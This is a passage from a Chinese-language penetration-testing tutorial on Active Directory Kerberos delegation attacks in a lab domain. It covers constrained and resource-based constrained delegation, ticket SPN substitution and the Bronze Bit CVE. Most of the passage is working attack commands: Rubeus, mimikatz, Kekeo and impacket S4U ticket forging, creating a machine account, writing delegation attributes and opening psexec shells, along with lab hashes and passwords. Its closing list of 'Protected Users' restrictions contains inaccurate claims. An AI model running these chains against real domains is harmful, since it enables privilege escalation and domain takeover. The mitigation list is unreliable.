[IO.File]::WriteAllBytes("C:\Users\16229\Desktop\1.kirbi", [Convert]::FromBase64String("TGT_data"))

注意：生成路径需要绝对路径

zrmmbmwwjtv12190.png

生成票据1.kirbi后直接导出即可。

使用mimikatz或者Rubeus导入TGT。

kerberos::ptt 1.kirbi

3vfoez0oz5h12192.png

或者使用Rubeus直接导入

Rubeus.exe ptt /ticket:TGT_data

1aruiiq5cd312195.png

注意，这里获取的TGT实际上是DC的机器账户，而机器账户是没有相应权限访问cifs服务的，但是在LDAP服务中，机器账户会被当做域控主机，从而可以DCSync。

利用DCSync可以导出域内hash，制作黄金票据来进行权限提升与维持，这里就不多赘述了。

wzdrovhbixg12198.png

slubr5xmszo12202.png

约束委派攻击

对于约束性委派，服务账户只能获取该用户对指定的服务的ST。从而只能模拟该用户访问特定的服务。配置了约束性委派的账户的msDS-AllowedToDelegateTo属性会指定对哪个SPN进行委派。约束性委派的设置需要SeEnableDelegationPrivilege特权，该特权默认仅授予域管理员和企业管理员。

**约束性委派有两种：**一种是仅使用Kerberos，也就是不能进行协议转换；另一种是使用任何身份验证协议，也就是能进行协议转换。

（1）仅使用Kerberos

  • 配置了仅使用Kerberos约束性委派的机器账户和服务账户的userAccountControl属性与正常账户一样，但是其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN

（2）使用任何身份验证协议

  • 配置了使用任何身份验证协议约束性委派的机器账户的userAccountControl属性的Flag位为WORKSTATION_TRUST_ACCOUNT | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的值为16781312，并且其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN

约束性委派的流程

为了在Kerberos协议层面对约束性委派进行支持，微软对Kerberos协议扩展了两个自协议：S4u2Self（Service for User to Self）和 S4u2Proxy（Service for User to Proxy）。S4u2Self可以代表任意用户请求针对自身的ST；S4uProxy可以以用户的名义请求针对其他指定服务的ST

zocallrtqhi12206.png

  1. 用户A访问service1；
  2. service1通过S4U2self协议代表用户A去请求一个可以访问service1自身的可转发的ST，这个ST代表域控授权service1可以以用户A的身份进行操作；
  3. service1通过S4U2proxy协议以用户A的身份访问KDC请求一个访问service2的可转发的ST，而在S4U2proxy阶段过程会通过判断msds-allowedtodelegateto里的SPN值来确定是否可以申请到service2的ST；
  4. service1获取到ST并以用户A的名义访问service2；

也就是说，如果获取了service1的权限，就可以伪造S4U先请求service1本身的ST，然后利用此ST便可以伪造任意用户请求获取service2的ST。

（注意：可转发的ST指的是一个用户的凭证或票据从一个服务传递给另一个服务，以便在后续的服务中代表该用户进行身份验证和授权。当一个用户在某个服务上成功进行身份验证后，该服务可能会颁发一个票据给用户。这个票据可以包含用户的身份信息和权限。通常情况下，这个票据只能在颁发它的服务上使用，这样就是不可转发的服务票据。但是，在约束委派中，获取到的服务自身的ST可以将用户的票据转发给其他服务，以便用户无需重新进行身份验证，直接在其他服务上使用之前获得的票据。）

查找约束委派主机

当服务账号或者主机被设置为约束性委派时，其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION，且msDS-AllowedToDelegateTo属性会包含被约束的服务

qdkyzydubd012210.png

oi2fgywhkrr12215.png

ncey1r53jtl12219.png

AdFind

//查询域内具有约束委派的机器账户

AdFind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

//查询域内具有约束委派的服务账户

AdFind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

3xyeozf4zos12224.png

4cvqx31dous12229.png

LdapSearch

//查询域内具有约束委派的机器账户

ldapsearch -LLL -x -H ldap://10.10.10.10:389 -D "administrator@vvvv1.com" -w "admin!@#4567" -b dc=vvvv1,dc=com "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

//查询域内具有约束委派的服务账户

ldapsearch -LLL -x -H ldap://10.10.10.10:389 -D "administrator@vvvv1.com" -w "admin!@#4567" -b dc=vvvv1,dc=com "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

PowerView

Powershell -ExecutionPolicy Bypass

Import-Module .\PowerView.ps1

//查询域内具有约束委派的机器账户

Get-DomainComputer -TrustedToAuth -Domain vvvv1.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto

//查询域内具有约束委派的服务账户

Get-DomainUser -TrustedToAuth -Domain vvvv1.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto

4xt23iceptf12232.png

3s2zitjhowm12239.png

约束委派利用

因为S4U2self是service代表用户请求的自身可转发的ST，因此如果要配置域内账户进行约束委派，需要对该账户配置SPN。

查看域内所有SPN

setspn -Q */*

amxrfbnhtjp12243.png

查看单个主机的SPN

setspn -L ad-2016$

fb1japt1ck412248.png

配置SPN

setspn -u -s host/weipai wp

  • -u: 指定要设置 SPN 的帐户。在此命令中，-u 参数指示要设置名为 "wp" 的帐户的 SPN。
  • -s: 指定要添加或更改 SPN 记录。在此命令中，-s 参数表示要添加一个新的或更改现有的 SPN 记录。
  • host/weipai: 这是 SPN 的格式部分之一，用于标识服务和主机。在这个例子中，"host/weipai" 被用作服务和主机名。请注意，这是一个示例，具体的服务和主机名应根据您的实际情况进行调整。
  • wp: 这是要设置 SPN 的帐户名。在这个命令中，"wp" 是指定要设置 SPN 的帐户的名称。

综上所述，setspn -u -s host/weipai wp 命令将为 "wp" 帐户添加一个新的 SPN 记录，并将其关联到 "host/weipai" 服务和主机。这样，在系统进行身份验证和授权时，可以正确地识别 "wp" 帐户，并将其与特定的服务和主机相关联。

032urlfrvea12252.png

攻击方式一

首先我们需要获取到服务账户的NTLM-HASH，用来制作TGT，通过服务账户的TGT在下一步获取到自身的可以转发的ST(如果是某个机器配置了约束委派，使用其对应的机器账户即可)。

使用工具Kekeo生成服务账户的TGT

tgt::ask /user:WSUS-PC$ /domain:vvvv1.com /NTLM:729211aa36b43064f566d70dff031567

iqrvfkv54lr12255.png

这一步包括两个步骤：

1.利用服务账户的TGT来伪造S4U来请求自身的可转发的ST；

2.通过自身的可转发的ST来伪造任意用户请求获取其他服务的ST；

（注意，伪造的用户需要是经过KDC备案的用户。另外，如果伪造的用户不具备其他服务的权限，那么即使成功委派该服务，生成了票据并注入内存也无法成功访问，因此最好直接伪造administrator用户）

伪造无权限的man03用户

tgs::s4u /tgt:TGT_WSUS-PC$@VVVV1.COM_krbtgt~vvvv1.com@VVVV1.COM.kirbi /user:man03@vvvv1.com /service:cifs/ad-2016.vvvv1.com

发现成功生成ST

fb4rltvfn2g12258.png

kerberos::ptt TGS_man03@vvvv1.com@VVVV1.COM_cifs~ad-2016.vvvv1.com@VVVV1.COM.kirbi

导入ST后，发现并没有权限访问域控的CIFS服务

vi5ykdgpef012263.png

伪造有权限的administrator用户

tgs::s4u /tgt:TGT_WSUS-PC$@VVVV1.COM_krbtgt~vvvv1.com@VVVV1.COM.kirbi /user:Administrator@vvvv1.com /service:cifs/ad-2016.vvvv1.com

xb3ltpcbh3s12266.png

导入ST后，可以直接访问域控的CIFS服务

kerberos::ptt TGS_Administrator@vvvv1.com@VVVV1.COM_cifs~ad-2016.vvvv1.com@VVVV1.COM.kirbi

mkeo1v2ocdr12270.png

zpo1mhf41d212275.png

当然，导入票据之后，具有了域控的CIFS权限，就可以直接使用psexec直接连接即可

psexec.exe \\ad-2016.vvvv1.com cmd.exe

a1dpd2uviin12279.png

在这里注意一个点，使用windows自带的psexec可以直接使用windows本地票据进行连接，使用impacket工具包无法成功连接。

因为windows自带的psexec工具是建立在windows平台下的工具，因此可以直接读取到windows内存中的票据，通过票据进行发包进行连接。

但是使用impacket工具包中的psexec、smbexec等工具是建立在linux平台下的工具，在linux中并没有票据这一说法，使用 impacket 的脚本使用 .ccache 文件进行身份验证，因此在生成票据文件的时候，我们需要将.kribi文件格式转化成impacket脚本可以识别的文件格式，也就是.ccache文件。然后我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径。

然后使用impacket工具包即可直接连接。

python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass

攻击方式二

当然，也可以直接使用mimikatz导出机器账户的TGT，这样就不需要生成TGT了。

sekurlsa::tickets /export

yxyohzzov0p12282.png

接下来利用服务账户的TGT来伪造S4U来请求自身的可转发的ST，然后再通过自身的可转发的ST来伪造任意用户请求获取其他服务的ST

tgs::s4u /tgt:[0;3e4]-2-1-40e10000-WSUS-PC$@krbtgt-VVVV1.COM.kirbi /user:Administrator@vvvv1.com /service:cifs/ad-2016.vvvv1.com

gozbs50ssha12288.png

再通过mimikatz导入票据即可

kerberos::ptt TGS_Administrator@vvvv1.com@VVVV1.COM_cifs~ad-2016.vvvv1.com@VVVV1.COM.kirbi

xxgstau5t4q12293.png

然后可以使用官方的psexec进行连接

PsExec64.exe \\ad-2016.vvvv1.com cmd.exe

g0bgimn3yt512295.png

攻击方式三

直接利用Rubeus进行攻击

Rubeus.exe s4u /user:WSUS-PC$ /rc4:729211aa36b43064f566d70dff031567 /domain:vvvv1.com /impersonateuser:administrator /msdsspn:cifs/ad-2016.vvvv1.com /ptt

ygh0mz1d33d12298.png

已经可以直接使用psexec连接了

PsExec64.exe \\ad-2016.vvvv1.com cmd.exe

y5powimixsm12300.png

攻击方法四

python getST.py -dc-ip 10.10.10.10 -spn cifs/ad-2016.vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :729211aa36b43064f566d70dff031567

set KRB5CCNAME=C:\Users\Administrator\Desktop\kekeo\administrator.ccache

python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass -codec gbk

50204pp1f4w12303.png

qshs5qxqk1r12304.png

总结

约束委派和非约束委派的区别

1.委派任何服务即为非约束委派，委派特定的服务即为约束委派；

2.非约束委派需要另一台主机或账号对配置了非约束委派的主机进行kerberos认证，并且需要通过认证，非约束委派主机可以直接导出对方保存在内存中的TGT来进行利用；

而约束委派是在获取到配置了约束委派的主机后，通过伪造S4U来请求主机或者服务账号本身的可转发的ST，然后通过该ST来伪造任意用户(需要通过KDC验证的用户)请求获取对应服务的ST；

3.非约束委派需要完成整个kerberos认证，因此需要其他主机主动进行认证，而约束委派只需要备案在KDC中的用户名即可，因此可以进行伪造用户请求，不需要其他主机主动进行认证；

4.使用windows自带的psexec可以直接使用windows本地票据进行连接，使用impacket工具包无法成功连接。因为windows自带的psexec工具是建立在windows平台下的工具，因此可以直接读取到windows内存中的票据，通过票据进行发包进行连接。但是使用impacket工具包中的psexec、smbexec等工具是建立在linux平台下的工具，在linux中并没有票据这一说法，使用 impacket 的脚本使用 .ccache 文件进行身份验证，因此在生成票据文件的时候，我们需要将.kribi文件格式转化成impacket脚本可以识别的文件格式，也就是.ccache文件。然后我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径。

基于资源的约束委派

基于资源的约束性委派 (RBCD： Resource Based Constrained Delegation)：为了使⽤户/资源更加独⽴，微软在Windows Server 2012中引⼊了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置，⽽把设置属性的权限赋予给了机器⾃身--基于资源的约束性委派允许资源配置受信任的帐户委派给他们。

基于资源的约束委派只能在运⾏ Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器上配置，但资源的约束委派可以跨域森林和跨域。

流程如下

  1. 服务A使用自己的服务账户和密码向KDC申请一个可转发的TGT；
  2. 服务A利用S4u2Self协议代表用户申请一个访问自身的ST。这一步区别于传统的约束性委派。在S4uSelf协议中提到，返回的ST可转发的一个条件是服务A配置了传统的约束性委派。KDC会检查服务A的msDS-AllowedToDelegateTo字段，如果这个字段被赋值了，则KDC返回可转发的ST。但是由于这里是基于资源的约束性委派，是在服务B上配置的，服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性配置了服务A的SID，服务A并没有配置msDS-AllowedToDelegateTo字段，因此KDC返回的ST是不可转发的；
  3. 服务A利用S4u2Proxy协议以用户身份向KDC请求访问服务B的可转发ST（上一步获得的不可转发ST放在请求包的AddtionTicket中）。KDC返回访问服务B的可转发ST；
  4. 服务A用上一步获得可转发ST访问服务B；

toikgv0gh1d12307.png

利用条件

由上文我们可以知道，配置了基于资源的约束性委派账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性的值为被允许委派账户的SID。那么，谁能修改msDS-AllowedToActOnBehalfOfOtherIdentity属性，就说明谁拥有配置基于资源的约束性委派的权限。

在域控上执行，查询指定域内机器PC-2016的msDS-AllowedToActOnBehalfOfOtherIdentity属性

AdFind.exe -f "&(objectcategory=computer)(name=PC-2016)" msDS-AllowedToActOnBehalfOfOtherIdentity

默认情况下没有该属性

hadeh5ejnpm12312.png

谁能添加机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性，谁就能配置基于资源的约束性委派。使用Adfind执行如下的命令，查询PC-2016机器的ACL，看哪些用户修改属性的权限

AdFind.exe -b CN=PC-2016,CN=Computers,DC=vvvv1,DC=com -sc getacl -sddl+++ -sddlfilter ;;"WRT PROP";;;

ys3knmwu5ri12317.png

如图所示，这四类用户可以修改该机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性。

VVVV1\WP：该用户为将该机器加入域的用户；

VVVV1\Cert Publishers：该用户组是用于授权和管理证书发布人的；

NT AUTHORITY\SELF：该用户是机器账户自身；

BUILTIN\Administrators：该用户组的是 Windows 操作系统中的一个内置用户组，包含了本地计算机上具有管理员权限的用户和组；

或者配置写入权限，也可以修改账户属性；

uzdzq2ewo0112319.png

实际上，我们可以忽略VVVV1\Cert Publishers组，因为该组默认是不存在用户的。

机器账户自身和管理员组可以修属性不难理解，但是为什么VVVV1\WP用户可以修改属性呢？

这里我们需要明白的是，非只有域管理员才有将机器加入域的权限。一个普通的域用户也可以将某个机器加入域内，如果使用某个域用户将一台机器加入域内，那么这个域用户也就拥有了可以修改对应机器的属性的权限。

b0gk5uvd5yd12324.png

另外，域内用户都有一个属性叫做ms-ds-MachineAccountQuota，它代表的是允许用户在域中常见计算机账户的个数，默认是10。那么这就代表我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户也就是机器账户。前文我们也提到了，S4U2Self只适用于具有SPN的账户，而机器账户默认是注册RestrictedKrbHost/domain和HOST/domain这两个SPN的，因此可以直接利用。

基于资源的约束性委派的优势

  • 委派的授予权限给了拥有资源的后端，而不是前端。不再需要域管理员权限设置，只需要拥有在计算机对象上编辑msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限，也就是将机器加入域的域用户和机器在自身都拥有该权限；
  • 约束性委派不能跨域进行委派，而基于资源的约束性委派可以跨域和林；

约束性委派和基于资源的约束性委派配置的差别

  • 传统的约束性委派是“正向的”，通过修改服务账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性，添加服务B的SPN，设置约束性委派对象为服务B，服务A便可以模拟任意用户向域控请求访问服务B的ST；
  • 而基于资源的约束性委派则相反，通过修改服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性，添加服务A的SID，以达到让服务A模拟任意用户访问服务B资源的目的；

基于资源的约束性委派攻击

该攻击是有国外安全研究员Elad Shami 提出的，他在文章中指出无论服务账户的UserAccountControl属性是否被设置为TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION值，服务自身都可以通过调用S4uSelf来为任意用户请求自身的服务票据。但是当没有设置该属性时，KDC通过检查账户的msDS-AllowedToActOnBehalfOfOtherIdentity字段，发现没有被赋值，所以服务自身通过S4uSelf请求到的ST是不可转发的，因此是无法通过S4u2Proxy协议转发到其他服务进行约束性委派认证；

但是，在基于资源的约束性委派的过程中，不可转发的ST仍然可以通过S4u2Proxy协议转发到其他服务进行约束性委派认证，并且服务还会返回可转发的ST，这是微软的设计缺陷；

因此，如果我们能够在服务B上配置允许服务A的基于资源的约束性委派，那么可以通过控制服务A使用S4uSelf协议向域控请求任意用户访问自身的ST，最后再使用S4u2Proxy协议转发此ST去请求访问服务B的可转发ST，我们就可以模拟任意用户访问服务B了。而这里我们控制的服务A可以普通域用户的身份去创建机器账户；

最后，我们总结几个利用的条件：

  1. 操作系统版本大于Windows Server 2012；
  2. 拥有一个普通域用户权限，用于创建服务账户（直接使用一个服务账户也可以）；
  3. 拥有一个域用户权限，且该用户具有可以修改目标机器属性的权限（域管理员账户、机器账户自身和创建机器账户的用户拥有该权限）；
查询基于资源的约束委派的主机或服务账户

AdFind

利用Adfind过滤samAccountType和msDS-AllowedToActOnBehalfOfOtherIdentity属性。

查询域中配置了基于资源的约束性委派的主机

Adfind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity

查询域中配置了基于资源的约束性委派的服务账户

Adfind.exe -b ”DC=vvvv1,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity

使用Adfind查询出来的msDS-AllowedToActOnBehalfOfOtherIdentity值用{Security Descriptor}代替，这个值包含允许被委派的服务账户或机器账户的SID

IdapSearch

利用ldapSearch过滤samAccountType和msDS-AllowedToActOnBehalfOfOtherIdentity属性

查询域中配置了基于资源的约束性委派的主机

ldapsearch -x -H ldap://10.10.10.10:389 -D "admins@vvvv1.com" -w User!@#45 -b "DC=vvvv1,DC=com" "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn

查询域中配置了基于资源的约束性委派的服务账户

ldapsearch -x -H ldap://10.10.10.10:389 -D "admins@vvvv1.com" -w User!@#45 -b "DC=vvvv1,DC=com" "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn

基于资源的约束委派利用
步骤一

当前已经获取到域内一个用户权限VVVV1\WP

whoami /all

S-1-5-21-3315874494-179465980-3412869843-2607

或者使用PowerView工具

Get-DomainUser -Identity VVVV1\WP -Properties objectsid

l2d24u1zp1v12329.png

uh2es5mnbdp12332.png

导入PowerView.ps1

Powershell -ExecutionPolicy Bypass

Import-Module .\PowerView.ps1

查看用户VVVV1\WP的ACL权限

Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3315874494-179465980-3412869843-2607"} | select objectdn,activedirectoryrights

或者使用如下命令，查询VVVV1\WP对指定机器账户的ACL权限

Get-DomainObjectAcl -Identity PC-2016 | ?{$_.SecurityIdentifier -match "S-1-5-21-3315874494-179465980-3412869843-2607"}

eiwwqglptpw12336.png

zjtwpfatzfh12340.png

不一定需要GenericAll权限，GenericWrite、WriteProperty、WriteDacl等等权限都可以修改账户属性。

步骤二

添加机器账户

如果已经获取到域内另一个机器账户的HASH,也可以跳过这一步骤。

使用工具PowerMad

Powershell -ExecutionPolicy Bypass

Import-Module .\Powermad.ps1

//New-MachineAccount -MachineAccount [username] -Password $(ConvertTo-SecureString "[userpassword]" -AsPlainText -Force)

New-MachineAccount -MachineAccount weipai -Password $(ConvertTo-SecureString "User!@#45" -AsPlainText -Force)

查询当前域内机器账户

net group "domain computers" /domain

euc0oysl4sh12343.png

查询机器账户的SID

使用PowerView脚本

Get-DomainComputer -Identity weipai | select objectsid

S-1-5-21-3315874494-179465980-3412869843-2609

mcjnffqlkj312344.png

在windows server2008以及2012版本中，可以使用系统自带的工具dsget和dsquery进行查询SID

dsquery computer | dsget computer -dn -sid

上传并导入该DLL

//Microsoft.ActiveDirectory.Management.dll

Import-Module .\Microsoft.ActiveDirectory.Management.dll

//Get-ADComputer [username]

Get-ADComputer weipai

fnyhtttltaw12349.png

步骤三

修改msDS-AllowedToActOnBehalfOfOtherIdentity

有两种方法可以修改msDS-AllowedToActOnBehalfOfOtherIdentity属性值

  1. Powerview
  2. ActiveDirectory模块

PowerView

配置weipai到PC-2016的基于资源的约束委派

Powershell -ExecutionPolicy Bypass

Import-Module .\PowerView.ps1

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3315874494-179465980-3412869843-2609)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Get-DomainComputer pc-2016| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

qhiiupj04re12351.png

验证是否成功添加，如果有返回值，则证明成功添加属性

Get-DomainComputer pc-2016 -Properties msds-allowedtoactonbehalfofotheridentity

olrl23bmfcv12354.png

清除msds-allowedtoactonbehalfofotheridentity属性的值

Set-DomainObject pc-2016 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

g5qhhlcjjfd12356.png

ActiveDirectory模块

只有Windows Server 2012以及以上的ActiveDirectory模块才有-PrincipalsAllowedToDelegateToAccount选项，且ActiveDirectory模块默认只在域控上安装，如果不是域控可以从域控上把DLL文件复制出来，然后导入powershell即可。

Powershell -ExecutionPolicy Bypass

Import-Module .\Microsoft.ActiveDirectory.Management.dll

Set-ADComputer pc-2016 -PrincipalsAllowedToDelegateToAccount weipai$

Get-ADComputer pc-2016 -Properties PrincipalsAllowedToDelegateToAccount

步骤四

注入票据获取权限

Rubeus

因为Rubeus是不支持明文的，所以先把它转换为hash

Rubeus.exe hash /user:weipai /password:User!@#45 /domain:vvvv1.com

//0EC4B410903C6DC7594464F27D347497

4xaohe2kfqn12359.png

Rubeus.exe s4u /user:weipai$ /rc4:0EC4B410903C6DC7594464F27D347497 /impersonateuser:administrator /msdsspn:cifs/pc-2016.vvvv1.com /ptt

//注意，使用工具Rubeus注入票据时，目标主机名与之后认证的时候的主机名需要一致

//比如这里是cifs/pc-2016.vvvv1.com，之后dir就需要用pc-2016.vvvv1.com

//如果这里是cifs/pc-2016，之后dir就需要用pc-2016，否则就会拒绝访问

sw2rdk1sh5312363.png

5sjl2zeolss12368.png

也可以直接使用psexec连接

PsExec64.exe \\pc-2016.vvvv1.com cmd.exe

hcyr1xydyqs12372.png

注意，这里获得的权限其实是本地的管理员权限，并没有访问域内资源的权限。

impacket工具包

python getST.py -dc-ip 10.10.10.10 -spn cifs/pc-2016.vvvv1.com -impersonate administrator vvvv1.com/weipai$:User!@#45

set KRB5CCNAME=C:\Users\WP\Desktop\administrator.ccache

python psexec.py -no-pass -k pc-2016.vvvv1.com -dc-ip 10.10.10.10 -codec gbk

总结

  1. 基于资源的约束委派是普通约束委派的反向，不需要域控来进行指定，只需要拥有一个可以修改属性的域内账户即可（域管理员账户、机器账户自身和创建机器账户的用户拥有该权限）；
  2. 基于资源的约束委派获得的是对方的本地管理员权限，或者system权限，因此多数情况下，基于资源的约束委派可以用来本地提权操作，只需要拥有一个可以修改当前机器属性的域内账户即可；

用户不可委派

在域环境中，高权限用户如果没有特殊需求的情况下，考虑到安全性一般是设置为不可委派，或者是加入受保护组。

141tvboyh5y12375.png

wgla1v5pwka12381.png

加载ActiveDirectory模块（需要在登录域内账户）

Powershell -ExecutionPolicy Bypass

Import-Module .\Microsoft.ActiveDirectory.Management.dll

Get-ADUser administrator -Properties AccountNotDelegated, Memberof

4krbyk4bgkc12385.png

Rubeus.exe s4u /user:PC-2016$ /rc4:cf6fd40df4e9a1326279ae803382628a /domain:vvvv1.com /impersonateuser:administrator /msdsspn:cifs/PC-2016.vvvv1.com /ptt

ed1p3d3cua412386.png

这时候我们在通过s4u去申请一下票据，这个时候S4U2self是成功的，但是S4U2proxy是失败的。

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

也就是说账户不可委派以及受保护组的成员是不影响S4U2Self的，可以使用Rubeus describe查看一下S4U2self返回的票据信息，可以看到该票据是没有服务名称的，并且不可转发。

首先，我们可以知道，在我们配置委派的时候，有两种方式

1）仅使用Kerberos

配置了仅使用Kerberos约束性委派的机器账户和服务账户的userAccountControl属性与正常账户一样，但是其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN

（2）使用任何身份验证协议

  • 配置了使用任何身份验证协议约束性委派的机器账户的userAccountControl属性的Flag位为WORKSTATION_TRUST_ACCOUNT | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的值为16781312，并且其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN

从上文的链接中，我们可以了解到，当帐户设置了 TrustedToAuthForDelegation 标志（也称为“协议转换”）时，这种基于资源的反射约束委派相当于 S4U2Self，因为它允许帐户代表用户为自己获取可转发的 TGS。但是，如果帐户配置为具有“仅 Kerberos”的经典约束委派（未设置 TrustedToAuthForDelegation 并且 msDS-AllowedToDelegateTo 不为空），则经典条件优先于基于资源的条件，因此 S4U2Self 会以非-可转发的 TGS 和 S4U2Proxy 失败。

因此，我们必须要配置任何身份验证才可以进行委派。

详情看上文链接文章的这一节：A Misunderstood Feature #1

wmrmnceq22k12392.png

查看票据详情，发现服务名称是缺失的。

Rubeus.exe describe /ticket:ticket.kirbi

xc2fk532c3i12397.png

我们可以修改从S4U2Self获取的TGS上的SPN，并将其变成有效的。

https://xz.aliyun.com/t/7454#toc-2

Rubeus

在Rebeus加入了一个模块可以直接修改票据的SPN，把base64字符串复制下来后，存放到ticket.kribi文件中，由于被base64加密，所以要解密，解密过后可以直接使用Rubeus直接替换里面的内容，这里我们使用python对字符串进行处理。

124opxirp2x12402.png

data =''
with open("1.txt") as fp1:
    for line in fp1:
        data += line.strip().strip('\n')

with open("2.txt",mode='a') as fp2:
    fp2.write(data)

import base64

def base64_decode_to_file(encoded_string, filename):
    try:
        # 将字符串进行 base64 解码
        decoded_data = base64.b64decode(encoded_string)

        # 以二进制方式写入文件
        with open(filename, 'wb') as file:
            file.write(decoded_data)

        print("解码并写入文件成功！")
    except Exception as e:
        print("解码并写入文件出错：", str(e))

# 测试
encoded_string = data
filename = "ticket.kirbi"

base64_decode_to_file(encoded_string, filename)
# print(data)

Rubeus.exe tgssub /ticket:ticket.kirbi /altservice:cifs/pc-2016.vvvv1.com /ptt

//或者直接使用字符串进行修改

Rubeus.exe tgssub /ticket:BASE64 /altservice:cifs/pc-2016.vvvv1.com /ptt

0g1wxdzb1vv12405.png

Rubeus.exe describe /ticket:ticket.kirbi

bfezhr2jhbc12408.png

uq3vep5m3mx12411.png

ASN.1 Editor

修改下图这两处地方即可。

3uw3nrxg42312414.png

o2iuqxvvfdq12416.pngcnzi4wz2rux12419.png

总结

对于用户不可委派的实际应用场景，经过测试，实际上范围十分小。

因为在这一过程中，我们修改的是从S4U2Self获取的ST上的，那么就意味着，在委派的过程中，我们只能利用一台机器账户的HASH，来委派这一台机器本身的服务。如果是一台机器来委派另一台机器的服务，那么我们修改的ST是来自第一台机器的自身可以转发的ST，即使修改了也是只能获取到该机器的服务，并不能获取到第二台机器的服务。

//通过一台机器账户的HASH，来委派这一台机器本身的服务

Rubeus.exe s4u /user:PC-2016$ /rc4:cf6fd40df4e9a1326279ae803382628a /domain:vvvv1.com /impersonateuser:administrator /msdsspn:cifs/PC-2016.vvvv1.com /ptt

而且由于上文所指的只有设置了 TrustedToAuthForDelegation 标志才能进行委派，而默认情况下的非约束委派是不会配置这个标志位的，因此通过机器账户的HASH来获取对应机器的服务必须是在约束委派的前提下进行。

那么我们想要进行约束委派，也需要在域控进行设置，因此该功能比较鸡肋，当然，如果遇到对应情况，就可以利用机器账户来获取到其他的权限。

当然，这些能否使用S4Uproxy都是取决于是否转发到另一个机器，如果是获取到了某个机器账号的HASH，只是用来获取该机器的服务，不转发到其他的机器，则上文中的修改其服务名则可以成功使票据变得可以使用。（也就是说，只要是获得了某个机器账户的HASH，且该系统已经支持S4U，则可以通过S4U来获取其本地的其他服务的权限，例如CIFS。即使该机器没有设置委派也可以成功。）

至于为什么可以公告修改服务吗来使票据变得可用？

因为在进行约束委派的流程中，第二部是获取到自身服务的ST（见下图），由于工具集成了三个步骤，因此第二个步骤的服务名因为需要被第三步进行使用，因此一般服务名为该机器的名称，例如AD-2016$。但是实际上我们可以将该名称替换成该机器的任意本地服务的名称，这样该票据也就可以成功被使用。（也就是说，如果是利用某个机器账户的HASH来获取该机器的服务，就是将下图中的步骤拆开，只进行1、2步骤）。

hgnoa4jc3gs12423.png

ffyzwma0yij12426.png

CVE-2020-17049 Kerberos Bronze Bit攻击

https://www.freebuf.com/vuls/258430.html

https://cloud.tencent.com/developer/article/1761060

https://cloud.tencent.com/developer/article/1808279

假设攻击者已经获得了Service1的密码hash值，且Service1和Service2之间存在委派信任关系（Service1配置为对Service2的约束委派或Service2接受来自Service1的基于资源约束的委派）。如果Service1允许进行协议转换（配置了TrustedToAuthForDelegation属性），就可以利用impacket套件中的GetST.py脚本来获得指定身份的Service2的服务票据ST2。

d0mpmsfi2um12430.png

利用服务票据ST2，攻击者就能伪造成目标用户与Service2进行交互。

由于委派攻击的危害性，因此微软官方提供了多种配置来降低委派攻击的危害。首先可以通过禁止协议转换（即关闭TrustedToAuthForDelegation属性）。

v4vv4wfnfhw12432.png

其次是可以在AD中配置高权限域内账户为“敏感账户，不能被委派”。

bci5vhqbd4412433.png

最后还可以将域内账户添加到 “Protected Users”安全组内。

将域内账户添加到 “Protected Users”安全组内时，会对用户进行限制

  1. 密码更改频率限制：这些账户的密码更改频率将增加，以减少密码被暴力破解或猜测攻击的风险。
  2. 密码历史限制：禁止重复使用之前使用过的密码，以防止密码的持久性攻击。
  3. 强制 Kerberos 加密类型：只允许使用最安全的 Kerberos 加密类型进行身份验证，以减少中间人攻击的风险。
  4. 强制域控制器进行 Kerberos 预身份验证：要求域控制器在 Kerberos 身份验证之前对账户进行预身份验证，以防止票据伪造攻击。
  5. 强制用户会话进行加密：要求用户会话使用加密传输数据，以防止信息泄露和中间人攻击。

ejcxj4qx3eb12436.png

